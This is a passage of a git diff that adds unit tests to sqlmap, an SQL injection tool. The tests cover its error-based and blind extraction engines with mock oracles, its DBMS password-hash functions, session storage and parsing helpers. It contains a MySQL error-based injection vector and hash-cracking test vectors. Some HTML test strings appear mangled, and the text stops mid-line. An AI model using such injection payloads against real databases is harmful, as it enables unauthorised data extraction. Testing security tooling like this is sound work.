latin1-safe subset + for encoding, hi in (("utf-8", 0x2000), ("latin-1", 0x100)): + for _ in range(1000): + s = u"".join(unichr(RND.randint(0, hi - 1)) if sys.version_info[0] < 3 + else chr(RND.randint(0, hi - 1)) for _ in range(RND.randint(0, 16))) + self.assertEqual(getUnicode(getBytes(s, encoding), encoding), s, + msg="round-trip failed (%s): %r" % (encoding, s)) + + +# py2 has unichr, py3 does not; normalize so the file imports cleanly on both +try: + unichr +except NameError: + unichr = chr + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_error_engine.py b/tests/test_error_engine.py new file mode 100644 index 00000000000..2c9b54c5a45 --- /dev/null +++ b/tests/test_error_engine.py @@ -0,0 +1,113 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +The error-based extraction engine (lib/techniques/error/use.py _oneShotErrorUse). + +Error-based SQLi coaxes the DBMS into emitting the target value inside an error +message, wrapped between two random delimiters (kb.chars.start/stop). The engine +fires the payload and pulls the value back out with a regex. We drive the REAL +_oneShotErrorUse against a mock oracle whose "error page" embeds a known secret +between those delimiters, and assert it recovers the value exactly - no live DBMS. + +Requires an error-technique injection context (kb.injection.data[...].vector with +[QUERY], plus the parameter context agent.payload needs). kb.errorChunkLength is +pre-set so the MySQL/MSSQL chunk-length probing loop is skipped. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms +bootstrap() + +from lib.core.data import conf, kb +from lib.core.datatype import AttribDict +from lib.core.enums import PAYLOAD, PLACE +from lib.request.connect import Connect +import lib.techniques.error.use as eu + + +def _make_vector(): + d = AttribDict() + d.vector = "AND EXTRACTVALUE(1,CONCAT(0x7e,([QUERY]),0x7e))" + d.where = PAYLOAD.WHERE.ORIGINAL + d.comment = "" + d.prefix = "" + d.suffix = "" + return d + + +class TestOneShotErrorUse(unittest.TestCase): + def setUp(self): + self._saved = { + "conf.hexConvert": conf.get("hexConvert"), "conf.charset": conf.get("charset"), + "conf.hashDB": conf.get("hashDB"), "conf.parameters": conf.get("parameters"), + "conf.paramDict": conf.get("paramDict"), "conf.base64Parameter": conf.get("base64Parameter"), + "kb.errorChunkLength": kb.get("errorChunkLength"), "kb.testMode": kb.get("testMode"), + "kb.forceWhere": kb.get("forceWhere"), "kb.technique": kb.get("technique"), + "kb.inj": (kb.injection.place, kb.injection.parameter, kb.injection.data), + "qp": Connect.queryPage, + } + conf.hexConvert = False + conf.charset = None + conf.hashDB = None + conf.parameters = {PLACE.GET: "id=1"} + conf.paramDict = {PLACE.GET: {"id": "1"}} + conf.base64Parameter = () + kb.errorChunkLength = 0 + kb.testMode = False + kb.forceWhere = None + kb.injection.place = PLACE.GET + kb.injection.parameter = "id" + kb.technique = PAYLOAD.TECHNIQUE.ERROR + kb.injection.data = {PAYLOAD.TECHNIQUE.ERROR: _make_vector()} + set_dbms("MySQL") + + def tearDown(self): + conf.hexConvert = self._saved["conf.hexConvert"] + conf.charset = self._saved["conf.charset"] + conf.hashDB = self._saved["conf.hashDB"] + conf.parameters = self._saved["conf.parameters"] + conf.paramDict = self._saved["conf.paramDict"] + conf.base64Parameter = self._saved["conf.base64Parameter"] + kb.errorChunkLength = self._saved["kb.errorChunkLength"] + kb.testMode = self._saved["kb.testMode"] + kb.forceWhere = self._saved["kb.forceWhere"] + kb.technique = self._saved["kb.technique"] + kb.injection.place, kb.injection.parameter, kb.injection.data = self._saved["kb.inj"] + Connect.queryPage = self._saved["qp"] + eu.Request.queryPage = self._saved["qp"] + + def _extract(self, secret, page_template="XPATH syntax error: '%s%s%s'"): + def oracle(payload=None, content=False, raise404=True, **kwargs): + page = page_template % (kb.chars.start, secret, kb.chars.stop) + return (page, {}, 200) if content else True + + Connect.queryPage = staticmethod(oracle) + eu.Request.queryPage = staticmethod(oracle) + return eu._oneShotErrorUse("SELECT CONCAT(user())") + + def test_simple_value(self): + self.assertEqual(self._extract("root@localhost"), "root@localhost") + + def test_version_string(self): + self.assertEqual(self._extract("5.7.31-0ubuntu0.18.04.1-log"), "5.7.31-0ubuntu0.18.04.1-log") + + def test_value_with_symbols(self): + self.assertEqual(self._extract("a-b_c.d:e/f"), "a-b_c.d:e/f") + + def test_no_markers_returns_none(self): + def oracle(payload=None, content=False, raise404=True, **kwargs): + return ("a perfectly ordinary page with no error", {}, 200) if content else True + Connect.queryPage = staticmethod(oracle) + eu.Request.queryPage = staticmethod(oracle) + self.assertIsNone(eu._oneShotErrorUse("SELECT CONCAT(user())")) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_hash.py b/tests/test_hash.py new file mode 100644 index 00000000000..4ab5546c0e2 --- /dev/null +++ b/tests/test_hash.py @@ -0,0 +1,105 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Password-hashing primitives (lib/utils/hash.py) used by the dictionary-attack +cracker (-? / --passwords). These are pure functions; correctness here is what +makes a cracked password actually match the target hash. + +The generic hashes are cross-checked against the stdlib hashlib (an INDEPENDENT +oracle, not just a regression against sqlmap's own output). The DBMS-specific +algorithms (MySQL/MSSQL/Oracle/Postgres) are pinned to known vectors, and +hashRecognition's classification is exercised as a table. +""" + +import hashlib +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.utils import hash as H +from lib.core.enums import HASH + + +class TestGenericVsHashlib(unittest.TestCase): + """Independent oracle: sqlmap's generic hashes must equal stdlib hashlib.""" + + PW = "testpass" + + def test_md5(self): + self.assertEqual(H.md5_generic_passwd(self.PW), hashlib.md5(b"testpass").hexdigest()) + + def test_sha1(self): + self.assertEqual(H.sha1_generic_passwd(self.PW), hashlib.sha1(b"testpass").hexdigest()) + + def test_sha224(self): + self.assertEqual(H.sha224_generic_passwd(self.PW), hashlib.sha224(b"testpass").hexdigest()) + + def test_sha256(self): + self.assertEqual(H.sha256_generic_passwd(self.PW), hashlib.sha256(b"testpass").hexdigest()) + + def test_sha384(self): + self.assertEqual(H.sha384_generic_passwd(self.PW), hashlib.sha384(b"testpass").hexdigest()) + + def test_sha512(self): + self.assertEqual(H.sha512_generic_passwd(self.PW), hashlib.sha512(b"testpass").hexdigest()) + + +class TestUppercase(unittest.TestCase): + def test_uppercase_flag(self): + self.assertEqual(H.md5_generic_passwd("testpass", uppercase=True), + hashlib.md5(b"testpass").hexdigest().upper()) + + def test_lowercase_default(self): + out = H.md5_generic_passwd("testpass", uppercase=False) + self.assertEqual(out, out.lower()) + + +class TestDbmsSpecificVectors(unittest.TestCase): + """Known vectors for the DBMS-native algorithms (mirrors the docstrings).""" + + def test_mysql(self): + self.assertEqual(H.mysql_passwd("testpass", uppercase=True), + "*00E247AC5F9AF26AE0194B41E1E769DEE1429A29") + + def test_mysql_old(self): + self.assertEqual(H.mysql_old_passwd("testpass", uppercase=True), "7DCDA0D57290B453") + + def test_postgres(self): + self.assertEqual(H.postgres_passwd("testpass", "testuser", uppercase=False), + "md599e5ea7a6f7c3269995cba3927fd0093") + + def test_mssql(self): + self.assertEqual(H.mssql_passwd("testpass", salt="4086ceb6", uppercase=False), + "0x01004086ceb60c90646a8ab9889fe3ed8e5c150b5460ece8425a") + + def test_oracle(self): + self.assertEqual(H.oracle_passwd("SHAlala", salt="1B7B5F82B7235E9E182C", uppercase=True), + "S:2BFCFDF5895014EE9BB2B9BA067B01E0389BB5711B7B5F82B7235E9E182C") + + def test_oracle_old(self): + self.assertEqual(H.oracle_old_passwd("tiger", "scott", uppercase=True), "F894844C34402B67") + + +class TestHashRecognition(unittest.TestCase): + def test_md5_generic(self): + self.assertEqual(H.hashRecognition("179ad45c6ce2cb97cf1029e212046e81"), HASH.MD5_GENERIC) + + def test_sha1_generic(self): + self.assertEqual(H.hashRecognition("206c80413b9a96c1312cc346b7d2517b84463edd"), HASH.SHA1_GENERIC) + + def test_mysql(self): + self.assertEqual(H.hashRecognition("*00E247AC5F9AF26AE0194B41E1E769DEE1429A29"), HASH.MYSQL) + + def test_junk_is_none(self): + self.assertIsNone(H.hashRecognition("foobar")) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_hashdb.py b/tests/test_hashdb.py new file mode 100644 index 00000000000..597925c6231 --- /dev/null +++ b/tests/test_hashdb.py @@ -0,0 +1,129 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Session storage layer (lib/utils/hashdb.py) - the on-disk SQLite cache that +makes --flush-session / resume work. + +Exercised against a REAL temporary SQLite file (no network, no DBMS): scalar +write/retrieve, serialized round-trip for every container type sqlmap stores, +overwrite semantics, missing-key -> None, and key-hash determinism. + +This is also the end-to-end regression for the base64-pickle bytes fix: a +serialized value containing raw `bytes` must survive a write/flush/retrieve +cycle on both Python 2 and 3 (it silently failed on py3 before the patch.py fix). +""" + +import os +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.utils.hashdb import HashDB +from lib.core.datatype import AttribDict +from lib.core.bigarray import BigArray + + +class _HashDBCase(unittest.TestCase): + def setUp(self): + fd, self.path = tempfile.mkstemp(suffix=".sqlite") + os.close(fd) + os.remove(self.path) # HashDB creates it lazily + self.db = HashDB(self.path) + + def tearDown(self): + try: + self.db.closeAll() + except Exception: + pass + if os.path.exists(self.path): + os.remove(self.path) + + +class TestScalar(_HashDBCase): + def test_string_roundtrip(self): + self.db.write("greeting", "hello") + self.db.flush() + self.assertEqual(self.db.retrieve("greeting"), "hello") + + def test_non_serialized_number_comes_back_as_text(self): + # non-serialized writes are stored via getUnicode() + self.db.write("num", 5) + self.db.flush() + self.assertEqual(self.db.retrieve("num"), "5") + + def test_missing_key_is_none(self): + self.assertIsNone(self.db.retrieve("never-written")) + + def test_overwrite_last_wins(self): + self.db.write("k", "v1") + self.db.write("k", "v2") + self.db.flush() + self.assertEqual(self.db.retrieve("k"), "v2") + + def test_keys_are_independent(self): + self.db.write("a", "1") + self.db.write("b", "2") + self.db.flush() + self.assertEqual(self.db.retrieve("a"), "1") + self.assertEqual(self.db.retrieve("b"), "2") + + +class TestSerialized(_HashDBCase): + def test_list_dict_tuple_set(self): + cases = { + "list": [1, 2, 3, "x"], + "dict": {"k": [1, {"n": "v"}]}, + "tuple": (1, "a", None), + "set": set([1, 2, 3]), + } + for key, val in cases.items(): + self.db.write(key, val, True) + self.db.flush() + for key, val in cases.items(): + self.assertEqual(self.db.retrieve(key, True), val, msg="serialized round-trip for %s" % key) + + def test_attribdict_roundtrip(self): + ad = AttribDict() + ad.x = 1 + ad.y = [1, 2] + self.db.write("ad", ad, True) + self.db.flush() + got = self.db.retrieve("ad", True) + self.assertIsInstance(got, AttribDict) + self.assertEqual(got.x, 1) + self.assertEqual(got.y, [1, 2]) + + def test_bigarray_roundtrip(self): + self.db.write("ba", BigArray([1, 2, 3]), True) + self.db.flush() + got = self.db.retrieve("ba", True) + self.assertIsInstance(got, BigArray) + self.assertEqual(list(got), [1, 2, 3]) + + def test_bytes_containing_value_survives(self): + # REGRESSION (base64-pickle bytes fix): silently failed to restore on py3 before the fix. + value = {"raw": b"\x00\x01\xff", "items": [b"ab", "s", 1]} + self.db.write("bytesval", value, True) + self.db.flush() + self.assertEqual(self.db.retrieve("bytesval", True), value) + + +class TestKeyHashing(_HashDBCase): + def test_distinct_keys_distinct_hashes(self): + # a broken hashKey that keys only on (say) length or the last char would collide; require + # 200 distinct keys to map to 200 distinct hashes. (Determinism is implied: the retrieve + # round-trips in TestScalar already depend on hashKey being stable.) + keys = ["key_%d_%s" % (i, "abcdefgh"[i % 8]) for i in range(200)] + hashes = set(HashDB.hashKey(k) for k in keys) + self.assertEqual(len(hashes), len(keys), msg="hashKey produced collisions across distinct keys") + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_identifiers_output.py b/tests/test_identifiers_output.py new file mode 100644 index 00000000000..24ee9d6fd1c --- /dev/null +++ b/tests/test_identifiers_output.py @@ -0,0 +1,78 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Identifier quoting per DBMS dialect, CSV value escaping, and dump value +replacement markers. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms +bootstrap() + +from lib.core.common import safeSQLIdentificatorNaming, unsafeSQLIdentificatorNaming, safeCSValue +from lib.core.enums import DBMS + + +class TestIdentifierQuoting(unittest.TestCase): + # special-char identifier -> the per-dialect quoting wrapper + WRAP = { + DBMS.MYSQL: "`weird name`", + DBMS.MSSQL: "[weird name]", + DBMS.PGSQL: '"weird name"', + DBMS.ORACLE: '"WEIRD NAME"', # Oracle upper-cases quoted identifiers + } + + def test_special_identifier_quoting(self): + for dbms, wrapped in self.WRAP.items(): + set_dbms(dbms) + self.assertEqual(safeSQLIdentificatorNaming("weird name"), wrapped, msg=str(dbms)) + + def test_simple_identifier_roundtrip(self): + # plain identifier needs no quoting; round-trips identically on case-preserving dialects + for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.PGSQL): + set_dbms(dbms) + for ident in ("users", "password", "tbl1"): + self.assertEqual(safeSQLIdentificatorNaming(ident), ident, msg="%s %r" % (dbms, ident)) + self.assertEqual(unsafeSQLIdentificatorNaming(safeSQLIdentificatorNaming(ident)), ident) + + def test_oracle_uppercases_on_unsafe(self): + # documented dialect quirk: Oracle unsafe-naming upper-cases identifiers + set_dbms(DBMS.ORACLE) + self.assertEqual(safeSQLIdentificatorNaming("users"), "users") + self.assertEqual(unsafeSQLIdentificatorNaming(safeSQLIdentificatorNaming("users")), "USERS") + + def test_unsafe_strips_quotes(self): + for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.PGSQL): + set_dbms(dbms) + self.assertEqual(unsafeSQLIdentificatorNaming(safeSQLIdentificatorNaming("weird name")), "weird name") + + +class TestSafeCSValue(unittest.TestCase): + CASES = [ + ("foobar", "foobar"), # plain -> unchanged + ("foo,bar", '"foo,bar"'), # contains delimiter -> quoted + ('he"y', '"he""y"'), # contains quote -> doubled + wrapped + ("a\nb", '"a\nb"'), # contains newline -> quoted + ] + + def test_table(self): + for inp, expected in self.CASES: + self.assertEqual(safeCSValue(inp), expected, msg="safeCSValue(%r)" % inp) + + def test_idempotent_on_already_quoted(self): + once = safeCSValue("a,b") + self.assertEqual(safeCSValue(once), once) # already starts+ends with quote -> unchanged + + +# (DUMP_REPLACEMENTS markers are covered in test_dicts.py - not duplicated here) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_inference_engine.py b/tests/test_inference_engine.py new file mode 100644 index 00000000000..bbc0b5a1f15 --- /dev/null +++ b/tests/test_inference_engine.py @@ -0,0 +1,153 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +The blind-SQLi extraction engine (lib/techniques/blind/inference.py bisection). + +This is the actual algorithm that pulls data out one character at a time over a +boolean/blind oracle - the heart of sqlmap. It is normally network-coupled, so +here we drive the REAL bisection() against a mock oracle: Request.queryPage is +replaced with a function that decodes the forged payload (we control the payload +template, so it is trivially parseable) and answers the comparison against a +known secret. If bisection's binary search, charset narrowing, or value assembly +regress, these go red - without a live target. + +Also asserts the search is logarithmic (binary search), not a linear scan of the +character space. +""" + +import os +import re +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms +bootstrap() + +from lib.core.data import conf, kb +from lib.core.common import getCurrentThreadData +from lib.request.connect import Connect +import lib.techniques.blind.inference as inf + +# bisection does: safeStringFormat(payload, (expression, idx, posValue)); '>' is the +# greater-char marker (swapped to '=' on the final equality check). We pass a parseable +# template so the mock oracle can recover (idx, operator, threshold). +TEMPLATE = "EXPR=%s IDX=%d CMP>%d" +_PARSE = re.compile(r"IDX=(\d+) CMP(.)(\d+)") + +# conf/kb knobs bisection reads on the simple single-threaded, no-prediction path +_CONF = {"predictOutput": False, "threads": 1, "api": False, "verbose": 0, "hexConvert": False, + "charset": None, "firstChar": None, "lastChar": None, "timeSec": 5} +_KB = {"partRun": None, "safeCharEncode": False, "bruteMode": False, "fileReadMode": False, + "disableShiftTable": False, "originalTimeDelay": 5, "prependFlag": False} + + +class _EngineCase(unittest.TestCase): + def setUp(self): + self._saved_conf = {k: conf.get(k) for k in _CONF} + self._saved_kb = {k: kb.get(k) for k in _KB} + self._saved_qp = Connect.queryPage + self._saved_processChar = kb.data.get("processChar") + for k, v in _CONF.items(): + conf[k] = v + for k, v in _KB.items(): + kb[k] = v + kb.data.processChar = None + set_dbms("MySQL") + + def tearDown(self): + for k, v in self._saved_conf.items(): + conf[k] = v + for k, v in self._saved_kb.items(): + kb[k] = v + kb.data.processChar = self._saved_processChar + Connect.queryPage = self._saved_qp + inf.Request.queryPage = self._saved_qp + + def _extract(self, secret, charsetType=None): + def oracle(payload=None, *args, **kwargs): + m = _PARSE.search(payload) + idx, op, threshold = int(m.group(1)), m.group(2), int(m.group(3)) + ch = ord(secret[idx - 1]) if 0 <= idx - 1 < len(secret) else 0 + return (ch > threshold) if op == ">" else (ch == threshold) + + Connect.queryPage = staticmethod(oracle) + inf.Request.queryPage = staticmethod(oracle) + td = getCurrentThreadData() + td.shared.value = "" + td.shared.index = [0] + td.shared.start = 0 + td.shared.count = 0 + count, value = inf.bisection(TEMPLATE, "SELECT secret", length=len(secret), charsetType=charsetType) + return value, count + + +class TestBisectionExtraction(_EngineCase): + # NOTE: the alpha / numeric / mixed cases are NOT redundant - getChar has per-class + # "first character" position heuristics (distinct branches for a-z, A-Z and 0-9 at + # inference.py ~331-336), so each character class exercises a different code path. + def test_single_char(self): + value, _ = self._extract("X") + self.assertEqual(value, "X") + + def test_alpha(self): + value, _ = self._extract("AdminUser") # exercises the a-z / A-Z heuristic branch + self.assertEqual(value, "AdminUser") + + def test_alphanumeric(self): + value, _ = self._extract("admin123") + self.assertEqual(value, "admin123") + + def test_with_spaces_and_symbols(self): + value, _ = self._extract("p@ss W0rd!") + self.assertEqual(value, "p@ss W0rd!") + + def test_numeric_string(self): + value, _ = self._extract("4815162342") # exercises the 0-9 heuristic branch + self.assertEqual(value, "4815162342") + + def test_longer_value(self): + secret = "The quick brown fox 0123456789" + value, _ = self._extract(secret) + self.assertEqual(value, secret) + + +class TestUnicodeExpansion(_EngineCase): + """charsetType=None starts with a 0..127 table and gradually expands it (shiftTable) to + reach higher code points. This test exercises the FIRST expansion step (code points + 128..1023) via Latin-1 chars, where the per-byte oracle model is exact. + + NOTE: kb.disableShiftTable is an INTENTIONAL session-level safety latch (sqlmap author's + design): once expansion runs all the way to the top - only reachable by a code point above + 0xFFFFF, or by a misbehaving always-TRUE oracle - it disables further expansion to prevent + runaway / erroneous extraction. That is deliberate, so this test does NOT assert that + expansion survives across such an event. + + (Code points >= 256 are retrieved/assembled byte-wise in real runs - decodeIntToUnicode + splits them into a byte sequence - so a simple ord()-based mock oracle only models the + single-byte range; those are out of scope here.)""" + + def test_extracts_latin1_via_first_expansion(self): + for s in (u"caf\xe9", u"\xfcber", u"ni\xf1o", u"\xe9\xe8\xea\xeb"): + self.assertEqual(self._extract(s)[0], s, msg="expansion extraction failed for %r" % s) + + +class TestSearchIsLogarithmic(_EngineCase): + def test_query_count_is_sublinear_in_charset(self): + # GOAL: catch a regression from binary search to a linear/per-codepoint scan. + # Observed cost is ~6-22 queries/char (it varies: the first-char heuristic's benefit + # depends on ambient kb/conf state, so a tighter bound would flake). A linear scan of the + # 128-char ASCII space would be ~128/char (~3840 for 30 chars). Bound at 40/char cleanly + # separates "logarithmic" (passes) from "linearized" (fails) without being flaky. + secret = "x" * 30 + _, count = self._extract(secret) + self.assertLess(count, len(secret) * 40, + msg="bisection used %d queries for %d chars (~%.1f/char) - search regressed toward linear?" + % (count, len(secret), count / float(len(secret)))) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_misc.py b/tests/test_misc.py new file mode 100644 index 00000000000..d92b72b17af --- /dev/null +++ b/tests/test_misc.py @@ -0,0 +1,125 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Assorted pure helpers: stats, set ops, value predicates, value/counter stacks, +enum helpers, DBMS alias/version checks, column prioritization. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms +bootstrap() + +from lib.core import common as C +from lib.core.settings import NULL +from lib.core.enums import DBMS + + +class TestStats(unittest.TestCase): + def test_average(self): + self.assertEqual(C.average([1, 2, 3, 4]), 2.5) + self.assertEqual(C.average([5]), 5) + + def test_stdev(self): + self.assertAlmostEqual(C.stdev([1, 2, 3, 4]), 1.2909944, places=5) + self.assertIsNone(C.stdev([5])) # undefined for single sample + + +class TestSetOps(unittest.TestCase): + def test_intersect(self): + self.assertEqual(C.intersect([1, 2, 3], [2, 3, 4]), [2, 3]) + self.assertEqual(C.intersect([1], [2]), []) + + def test_filterPairValues(self): + self.assertEqual(C.filterPairValues([[1, 2], [3], [4, 5], []]), [[1, 2], [4, 5]]) + + +class TestValuePredicates(unittest.TestCase): + def test_isNoneValue(self): + for v in (None, [], "", {}): + self.assertTrue(C.isNoneValue(v), msg="isNoneValue(%r)" % (v,)) + + def test_isNullValue(self): + self.assertTrue(C.isNullValue(NULL)) + # discriminating negatives: an always-True impl must fail these + self.assertFalse(C.isNullValue(None)) + self.assertFalse(C.isNullValue("")) + self.assertFalse(C.isNullValue("x")) + + def test_isNumPosStrValue(self): + for v, exp in [("5", True), ("0", False), ("-1", False), ("a", False), ("12", True)]: + self.assertEqual(bool(C.isNumPosStrValue(v)), exp, msg="isNumPosStrValue(%r)" % v) + + def test_firstNotNone(self): + self.assertEqual(C.firstNotNone(None, None, 5, 6), 5) + self.assertIsNone(C.firstNotNone(None, None)) + + +class TestValueStackAndCounters(unittest.TestCase): + def test_push_pop(self): + C.pushValue(7) + C.pushValue("x") + self.assertEqual(C.popValue(), "x") + self.assertEqual(C.popValue(), 7) + + def test_counters(self): + C.resetCounter("UNITTEST") + C.incrementCounter("UNITTEST") + C.incrementCounter("UNITTEST") + self.assertEqual(C.getCounter("UNITTEST"), 2) + + +class TestEnumAndDbmsHelpers(unittest.TestCase): + def test_aliasToDbmsEnum(self): + self.assertEqual(C.aliasToDbmsEnum("mysql"), DBMS.MYSQL) + self.assertEqual(C.aliasToDbmsEnum("postgres"), DBMS.PGSQL) + + def test_getPublicTypeMembers(self): + members = list(C.getPublicTypeMembers(DBMS, onlyValues=True)) + # goal is correct EXTRACTION, not a magic count: real members present, no private/dunder leak + self.assertIn(DBMS.MYSQL, members) + self.assertIn(DBMS.MSSQL, members) + self.assertIn(DBMS.ORACLE, members) + self.assertFalse(any(str(m).startswith("_") for m in members), msg="leaked private member: %r" % members) + + def test_isDBMSVersionAtLeast(self): + set_dbms(DBMS.MYSQL) + C.Backend.setVersion("5.7") + self.assertTrue(C.isDBMSVersionAtLeast("5.0")) + self.assertFalse(C.isDBMSVersionAtLeast("8.0")) + + +class TestColumnPriority(unittest.TestCase): + def test_prioritySortColumns(self): + # assert the FULL ordering, not just the first element (id-like floats to front, + # rest keep their relative order) + self.assertEqual(C.prioritySortColumns(["data", "id", "name"]), ["id", "data", "name"]) + + def test_prioritySortColumns_empty(self): + self.assertEqual(C.prioritySortColumns([]), []) + + +class TestArrayHelpers(unittest.TestCase): + def test_unArrayizeValue(self): + self.assertEqual(C.unArrayizeValue([5]), 5) # single-element list -> the element + self.assertEqual(C.unArrayizeValue([1, 2]), 1) # multi -> first + self.assertEqual(C.unArrayizeValue(7), 7) # scalar -> unchanged + self.assertIsNone(C.unArrayizeValue([])) # empty -> None + + def test_arrayizeValue(self): + self.assertEqual(C.arrayizeValue(5), [5]) # scalar -> wrapped + self.assertEqual(C.arrayizeValue([5]), [5]) # list -> unchanged + + def test_roundtrip_scalar(self): + for v in (0, 1, "x", "value"): + self.assertEqual(C.unArrayizeValue(C.arrayizeValue(v)), v) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_pagecontent.py b/tests/test_pagecontent.py new file mode 100644 index 00000000000..3f6edcf500d --- /dev/null +++ b/tests/test_pagecontent.py @@ -0,0 +1,85 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Page-content extraction helpers (lib/core/common.py): getFilteredPageContent, +getPageWordSet, extractTextTagContent, and parseSqliteTableSchema. + +The first three feed text-only comparison (--text-only), dynamic-content +removal, and Google-dork style scraping; the last reconstructs column metadata +from a sqlite_master CREATE TABLE statement during enumeration. All pure given +their input (the page must be unicode for tag stripping to engage - a real +gotcha pinned below). +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.common import (getFilteredPageContent, getPageWordSet, + extractTextTagContent, parseSqliteTableSchema) +from lib.core.data import kb + + +class TestFilteredPageContent(unittest.TestCase): + def test_strips_all_tags_in_text_mode(self): + self.assertEqual(getFilteredPageContent(u"foobartest"), + u"foobar test") + + def test_strips_script(self): + self.assertEqual(getFilteredPageContent(u"

keep

this

"), + u"keep this") + + def test_keeps_tags_when_not_only_text(self): + self.assertEqual(getFilteredPageContent(u"

a

b

", onlyText=False), + u"

a

b

") + + def test_bytes_input_unchanged(self): + # GOTCHA: tag stripping only engages for unicode input (charset-identified pages) + raw = b"x" + self.assertEqual(getFilteredPageContent(raw), raw) + + +class TestPageWordSet(unittest.TestCase): + def test_words(self): + self.assertEqual(sorted(getPageWordSet(u"foobartest")), + [u"foobar", u"test"]) + + +class TestExtractTextTagContent(unittest.TestCase): + def test_multiple_tags(self): + self.assertEqual(extractTextTagContent(u"Welcome

Body text

"), + [u"Welcome", u"Body text"]) + + +class TestParseSqliteTableSchema(unittest.TestCase): + def setUp(self): + kb.data.cachedColumns = {} + + def _cols(self): + # parseSqliteTableSchema stores under cachedColumns[db][table] (both None here) + return dict(kb.data.cachedColumns[None][None]) + + def test_basic_columns_and_types(self): + parseSqliteTableSchema("CREATE TABLE users(id INTEGER PRIMARY KEY, name TEXT, age INT)") + cols = self._cols() + self.assertEqual(cols["id"], "INTEGER") + self.assertEqual(cols["name"], "TEXT") + self.assertEqual(cols["age"], "INT") + + def test_quoted_identifiers_and_sized_types(self): + parseSqliteTableSchema('CREATE TABLE "t"("id" INTEGER, "n" VARCHAR(50), flag BOOLEAN)') + cols = self._cols() + self.assertIn("id", cols) + self.assertEqual(cols["n"], "VARCHAR") # size dropped + self.assertEqual(cols["flag"], "BOOLEAN") + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_payload_marking.py b/tests/test_payload_marking.py new file mode 100644 index 00000000000..8a49ed28710 --- /dev/null +++ b/tests/test_payload_marking.py @@ -0,0 +1,157 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Request-body injection-point handling: + - recognition regexes (REAL, imported from settings) classify JSON/JSON_LIKE/XML/PLAIN + - JSON/XML injection-point marking preserves every value (mirrors target.py) + - HPP transform reconstructs the original SQL after ASP comma-join +""" + +import os +import re +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.settings import (JSON_RECOGNITION_REGEX, JSON_LIKE_RECOGNITION_REGEX, + XML_RECOGNITION_REGEX, PAYLOAD_DELIMITER, DEFAULT_GET_POST_DELIMITER) + +MARK = "*" + + +def classify(d): + if re.search(JSON_RECOGNITION_REGEX, d): + return "JSON" + if re.search(JSON_LIKE_RECOGNITION_REGEX, d): + return "JSON_LIKE" + if re.search(XML_RECOGNITION_REGEX, d): + return "XML" + return "PLAIN" + + +class TestRecognitionRegexes(unittest.TestCase): + CASES = [ + ('{"id":1}', "JSON"), + ('{"a":"b"}', "JSON"), + ('{"n":1,"m":"s"}', "JSON"), + ('[{"id":1}]', "JSON"), + ('[{"id":1},{"id":2}]', "JSON"), + ("{'a':'b'}", "JSON_LIKE"), + ("
